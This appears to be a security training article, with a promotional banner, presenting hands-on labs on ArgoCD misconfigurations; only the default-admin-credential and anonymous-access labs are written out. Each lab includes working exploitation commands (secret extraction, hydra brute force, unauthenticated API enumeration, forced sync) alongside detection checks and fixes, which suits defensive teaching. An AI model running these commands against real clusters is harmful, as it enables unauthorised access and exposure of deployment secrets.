Continuous Delivery Security Labs
35 security labs covering ArgoCD and GitHub Actions.
Before we start, shoutout to a platform we built for YOU!
💎 Your next level in cybersecurity isn’t a dream, it’s a proactive roadmap.
HADESS AI Career Coach turns ambition into expertise:
→ 390+ clear career blueprints from entry-level to leadership
→ 490+ in-demand skill modules + practical labs
→ Intelligent AI(Not AI buzz, applied AI, promise!) tools + real-world expert coaches and scenarios
Master the skills that matter. Land the roles that pay. Build the future you want.
🔥 Start engineering your career → https://career.hadess.io
let’s get start!
Each lab walks through a misconfiguration, shows exactly how an attacker exploits it, and gives you the fixed configuration with verification steps.
The first 15 labs focus on ArgoCD: default credentials, anonymous access, RBAC misconfigurations, insecure repository credentials, webhook abuse, auto-sync dangers, ApplicationSet injection, cluster secret exposure, missing TLS, network policy gaps, unrestricted project destinations, resource exclusion bypasses, SSO misconfigurations, missing audit logging, and Helm values injection.
Labs 16-30 cover GitHub Actions: script injection, pull_request_target abuse, overpermissioned GITHUB_TOKEN, hardcoded secrets, self-hosted runner breakouts, artifact poisoning, third-party action supply chain attacks, workflow dispatch injection, OIDC misconfiguration, privileged Docker-in-Docker, missing image signing, absent SBOM generation, environment protection bypass, fork PR secret exfiltration, and reusable workflow permission escalation.
Labs 31-35 cover real-world attacks from 2025: the ArtiPACKED artifact token leakage research from Unit42, the tj-actions/changed-files supply chain breach (CVE-2025-30066), GitHub OIDC claim manipulation from Palo Alto Networks research, action tag mutability attacks, and poisoned pipeline execution via pull_request_target -- the exact vector that started the tj-actions kill chain.
Every lab uses real tools -- kubectl, argocd CLI, actionlint, checkov, semgrep, cosign, trivy, gitleaks -- with actual commands and output. No simulated content.
Table of Contents
ArgoCD Security
Default Admin Credentials
Anonymous Access Enabled
Overpermissive RBAC Policies
Insecure Repository Credential Storage
Webhook Without Secret Validation
Auto-Sync Without Prune Protection
ApplicationSet Template Injection
Cluster Secret Exposure
API Server Without TLS
Missing Network Policies
Unrestricted Project Destinations
Resource Exclusion Bypass
SSO/OIDC Misconfiguration
Missing Audit Logging and Monitoring
Helm Values File Injection
GitHub Actions Security
Script Injection
pull_request_target Event Abuse
GITHUB_TOKEN Over-Permissioned
Hardcoded Secrets in Workflow Files
Self-Hosted Runner Breakout
Artifact Poisoning Attack
Third-Party Action Supply Chain Attack
Workflow Dispatch Input Injection
OIDC Token Misconfiguration
Docker-in-Docker Privileged CI
Missing Container Image Signing
No SBOM Generation in CI Pipeline
Environment Protection Bypass
Secret Exfiltration via Fork PRs
Reusable Workflow Permission Escalation
Real-World Attacks (2025)
GitHub Actions Artifact Token Leakage (ArtiPACKED)
tj-actions/changed-files Supply Chain Attack (CVE-2025-30066)
GitHub OIDC Claim Manipulation
GitHub Action Tag Mutability Attack
Poisoned Pipeline Execution via pull_request_target
Lab 01: ArgoCD Default Admin Credentials
When we install ArgoCD, the default admin password is set to the name of the argocd-server pod. This is documented behavior — not a bug — but it creates a predictable credential that an attacker with namespace read access (or a good guess) can exploit. The problem gets worse when teams set up SSO through Keycloak or Dex but forget to disable the built-in admin account afterward. We now have two authentication paths: SSO (which has MFA, audit logs, session management) and the local admin account (which has none of that).
There is no built-in password rotation policy. The argocd-initial-admin-secret Kubernetes secret persists until someone manually deletes it. We have seen production clusters running for months with this secret still present.
Root Cause Analysis
ArgoCD generates the initial admin password from the server pod name and stores it in
argocd-initial-admin-secretThe admin account remains active even after SSO is configured — there is no automatic disablement
No account lockout mechanism exists by default — brute force is viable
The initial admin secret is never rotated or automatically cleaned up
Vulnerable Configuration
The default argocd-cm ConfigMap after a fresh install with SSO configured but admin still active:
apiVersion: v1
kind: ConfigMap
metadata:
name: argocd-cm
namespace: argocd
data:
url: https://argocd.example.com
oidc.config: |
name: Keycloak
issuer: https://keycloak.example.com/auth/realms/master
clientID: argo
clientSecret: $oidc.keycloak.clientSecret
requestedScopes: ["openid", "profile", "email", "groups"]
# NOTE: admin account is NOT disabled
# accounts.admin.enabled is absent — defaults to "true"
The initial admin secret sitting in the namespace:
apiVersion: v1
kind: Secret
metadata:
name: argocd-initial-admin-secret
namespace: argocd
type: Opaque
data:
password: YXJnb2NkLXNlcnZlci01Zjg3Njk4NjktNGo1bGg= # base64 of pod name
Exploitation
Step 1: Recover the default password
If we have kubectl access to the namespace:
kubectl -n argocd get secret argocd-initial-admin-secret \
-o jsonpath="{.data.password}" | base64 -d
Expected output:
argocd-server-5f8769869-4j5lh
Step 2: Log in with default credentials
argocd login argocd-server.argocd.svc.cluster.local \
--username admin \
--password argocd-server-5f8769869-4j5lh \
--insecure
Expected output:
'admin:login' logged in successfully
Context 'argocd-server.argocd.svc.cluster.local' updated
Step 3: Verify admin-level access
argocd account can-i sync applications '*'
argocd account can-i create clusters '*'
argocd account can-i delete applications '*'
Expected output for all three:
yes
Step 4: Brute force demonstration (without kubectl access)
If the ArgoCD API is exposed (common in many deployments), we can brute-force the admin password. Pod names follow a predictable pattern:
# Generate candidate passwords based on known pod naming
# Pattern: argocd-server-<replicaset-hash>-<pod-hash>
hydra -l admin -P /tmp/argocd-passwords.txt \
argocd.example.com https-form-post \
"/api/v1/session:username=^USER^&password=^PASS^:Invalid"
Step 5: Extract cluster credentials after admin access
argocd cluster list
argocd repo list
argocd app list
Detection
Check if the initial admin secret still exists
kubectl -n argocd get secret argocd-initial-admin-secret 2>/dev/null && \
echo "VULNERABLE: Initial admin secret still present" || \
echo "OK: Initial admin secret deleted"
Check if admin account is disabled
kubectl -n argocd get configmap argocd-cm -o yaml | \
grep -q "accounts.admin.enabled" && \
echo "Admin account setting found" || \
echo "VULNERABLE: Admin account enabled by default (no explicit disable)"
Check ArgoCD audit logs for admin logins
kubectl -n argocd logs deployment/argocd-server | \
grep -i "admin" | grep -i "login"
Scan with checkov
checkov -d /path/to/argocd-manifests/ \
--check CKV_K8S_35 # Ensure secrets are not stored in ConfigMaps
Monitor for brute force with failed login attempts
kubectl -n argocd logs deployment/argocd-server | \
grep "authentication failed" | \
awk '{print $NF}' | sort | uniq -c | sort -rn | head -10
Solution
1. Delete the initial admin secret immediately after first login
kubectl -n argocd delete secret argocd-initial-admin-secret
2. Disable the admin account after SSO is configured
apiVersion: v1
kind: ConfigMap
metadata:
name: argocd-cm
namespace: argocd
data:
url: https://argocd.example.com
admin.enabled: "false"
oidc.config: |
name: Keycloak
issuer: https://keycloak.example.com/auth/realms/master
clientID: argo
clientSecret: $oidc.keycloak.clientSecret
requestedScopes: ["openid", "profile", "email", "groups"]
3. If you must keep a local admin, set a bcrypt password and rotate it
# Generate a bcrypt hash
argocd account bcrypt --password 'Y0ur$tr0ng!Passw0rd#2026'
# Update the argocd-secret with the bcrypt hash
kubectl -n argocd patch secret argocd-secret \
-p '{"stringData": {"admin.password": "$2a$10$rGJ...your-bcrypt-hash...", "admin.passwordMtime": "'$(date +%FT%T%Z)'"}}'
4. Configure account lockout via environment variables on argocd-server
apiVersion: apps/v1
kind: Deployment
metadata:
name: argocd-server
namespace: argocd
spec:
template:
spec:
containers:
- name: argocd-server
env:
- name: ARGOCD_SESSION_FAILURE_MAX_FAIL_COUNT
value: "5"
- name: ARGOCD_SESSION_MAX_CACHE_SIZE
value: "1000"
- name: ARGOCD_SESSION_FAILURE_WINDOW_SECONDS
value: "300"
5. Map SSO groups to ArgoCD roles in argocd-rbac-cm
apiVersion: v1
kind: ConfigMap
metadata:
name: argocd-rbac-cm
namespace: argocd
data:
policy.default: role:readonly
policy.csv: |
g, ArgoCDAdmins, role:admin
g, Developers, role:readonly
Verification
After applying the fix:
# Confirm admin account is disabled
kubectl -n argocd get configmap argocd-cm -o jsonpath='{.data.admin\.enabled}'
# Expected: false
# Confirm initial secret is gone
kubectl -n argocd get secret argocd-initial-admin-secret
# Expected: Error from server (NotFound)
# Attempt admin login — should fail
argocd login argocd-server.argocd.svc.cluster.local \
--username admin --password anything --insecure
# Expected: rpc error: account admin is disabled
# Confirm SSO login still works
argocd login argocd-server.argocd.svc.cluster.local --sso --insecure
# Expected: redirects to Keycloak, login succeeds
Lab 02: ArgoCD Anonymous Access Enabled
ArgoCD supports anonymous access through the users.anonymous.enabled setting in the argocd-cm ConfigMap. When enabled, unauthenticated users inherit whatever role is specified in policy.default within the argocd-rbac-cm ConfigMap. On its own, anonymous access with role:readonly default might seem harmless — but in practice it exposes application names, repository URLs, cluster endpoints, deployment configurations, environment variables, and sync status to anyone who can reach the ArgoCD API.
The real danger comes when someone sets policy.default: role:admin (we cover this in Lab 03) alongside anonymous access. Now any unauthenticated user has full admin control over the entire ArgoCD instance. We have seen this combination in the wild — usually the result of a developer enabling anonymous access during local testing and the ConfigMap making it into a Helm values file or GitOps repo.
Root Cause Analysis
users.anonymous.enabled: "true"inargocd-cmdisables authentication requirements entirelyAnonymous users inherit
policy.defaultpermissions — if that role is permissive, anonymous users get those permissionsArgoCD does not warn or emit audit events when anonymous access is enabled
The ArgoCD API and gRPC endpoints serve full responses to unauthenticated requests when anonymous mode is active
Vulnerable Configuration
apiVersion: v1
kind: ConfigMap
metadata:
name: argocd-cm
namespace: argocd
data:
users.anonymous.enabled: "true"
Combined with an overly permissive default role:
apiVersion: v1
kind: ConfigMap
metadata:
name: argocd-rbac-cm
namespace: argocd
data:
policy.default: role:readonly
Or worse:
apiVersion: v1
kind: ConfigMap
metadata:
name: argocd-rbac-cm
namespace: argocd
data:
policy.default: role:admin
Exploitation
Step 1: Identify ArgoCD API endpoint
# If exposed via Ingress or LoadBalancer
curl -sk https://argocd.example.com/api/version
Expected output:
{
"Version": "v2.11.2+unknown",
"BuildDate": "2024-06-07T17:38:30Z",
"GitCommit": "a1b3c4d5e6f7",
"GitTreeState": "clean",
"GoVersion": "go1.22.4",
"Compiler": "gc",
"Platform": "linux/amd64"
}
Step 2: List all applications without authentication
curl -sk https://argocd.example.com/api/v1/applications | \
jq '.items[].metadata.name'
Expected output:
"production-backend"
"staging-frontend"
"vault-demo-application"
"monitoring-stack"
Step 3: Extract application details (repo URLs, cluster endpoints, secrets references)
curl -sk https://argocd.example.com/api/v1/applications/production-backend | \
jq '{
repo: .spec.source.repoURL,
path: .spec.source.path,
cluster: .spec.destination.server,
namespace: .spec.destination.namespace,
syncPolicy: .spec.syncPolicy
}'
Expected output:
{
"repo": "https://github.com/acme-corp/k8s-deployments.git",
"path": "production/backend",
"cluster": "https://10.0.1.50:6443",
"namespace": "production",
"syncPolicy": {
"automated": {
"prune": true,
"selfHeal": true
}
}
}
Step 4: List all registered clusters
curl -sk https://argocd.example.com/api/v1/clusters | \
jq '.items[] | {name: .name, server: .server}'
Expected output:
{
"name": "production-east",
"server": "https://10.0.1.50:6443"
}
{
"name": "staging-west",
"server": "https://10.0.2.30:6443"
}
Step 5: List all connected repositories
curl -sk https://argocd.example.com/api/v1/repositories | \
jq '.items[] | {repo: .repo, type: .type, connectionState: .connectionState.status}'
Expected output:
{
"repo": "https://github.com/acme-corp/k8s-deployments.git",
"type": "git",
"connectionState": "Successful"
}
Step 6: If policy.default is role:admin — trigger a sync
curl -sk -X POST \
https://argocd.example.com/api/v1/applications/production-backend/sync \
-H "Content-Type: application/json" \
-d '{"prune": false}'
Detection
Check if anonymous access is enabled
kubectl -n argocd get configmap argocd-cm -o jsonpath='{.data.users\.anonymous\.enabled}'
If the output is true, anonymous access is active.
Check the default policy role
kubectl -n argocd get configmap argocd-rbac-cm -o jsonpath='{.data.policy\.default}'
If the output is role:admin combined with anonymous access, this is a critical finding.
Test unauthenticated API access from outside the cluster
# Port-forward if not externally exposed
kubectl -n argocd port-forward svc/argocd-server 8443:443 &
curl -sk https://localhost:8443/api/v1/applications
# If you get a JSON response with application data, anonymous access is working
# If you get a 401, authentication is enforced
Audit ArgoCD server logs for anonymous requests
kubectl -n argocd logs deployment/argocd-server | \
grep -i "anonymous" | tail -20
Scan with checkov
checkov -d /path/to/argocd-manifests/ --framework kubernetes
Solution
1. Disable anonymous access
apiVersion: v1
kind: ConfigMap
metadata:
name: argocd-cm
namespace: argocd
data:
users.anonymous.enabled: "false"
Apply:
kubectl apply -f argocd-cm.yaml
2. Set a restrictive default policy
apiVersion: v1
kind: ConfigMap
metadata:
name: argocd-rbac-cm
namespace: argocd
data:
policy.default: ""
policy.csv: |
p, role:readonly, applications, get, */*, allow
p, role:readonly, projects, get, *, allow
p, role:devops, applications, *, */*, allow
p, role:devops, clusters, get, *, allow
p, role:devops, repositories, get, *, allow
g, DevOps, role:devops
g, Developers, role:readonly
Setting policy.default to an empty string means any user not explicitly mapped to a role gets zero permissions.
3. Enforce authentication at the network level
If ArgoCD is exposed through an Ingress, add authentication middleware:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: argocd-server
namespace: argocd
annotations:
nginx.ingress.kubernetes.io/auth-type: basic
nginx.ingress.kubernetes.io/auth-secret: argocd-basic-auth
nginx.ingress.kubernetes.io/auth-realm: "ArgoCD Authentication Required"
spec:
rules:
- host: argocd.example.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: argocd-server
port:
number: 443
4. Restrict API access with NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: argocd-server-access
namespace: argocd
spec:
podSelector:
matchLabels:
app.kubernetes.io/name: argocd-server
policyTypes:
- Ingress
ingress:
- from:
- namespaceSelector:
matchLabels:
name: ingress-nginx
ports:
- port: 8080
- port: 8443
Verification
# Confirm anonymous access is disabled
kubectl -n argocd get configmap argocd-cm \
-o jsonpath='{.data.users\.anonymous\.enabled}'
# Expected: false (or empty/absent)
# Test unauthenticated API call
curl -sk https://argocd.example.com/api/v1/applications
# Expected: 401 Unauthorized
# Test authenticated API call
argocd login argocd.example.com --sso --insecure
argocd app list
# Expected: returns application list for authenticated user
# Verify default policy is restrictive
kubectl -n argocd get configmap argocd-rbac-cm \
-o jsonpath='{.data.policy\.default}'
# Expected: empty string or "role:readonly"



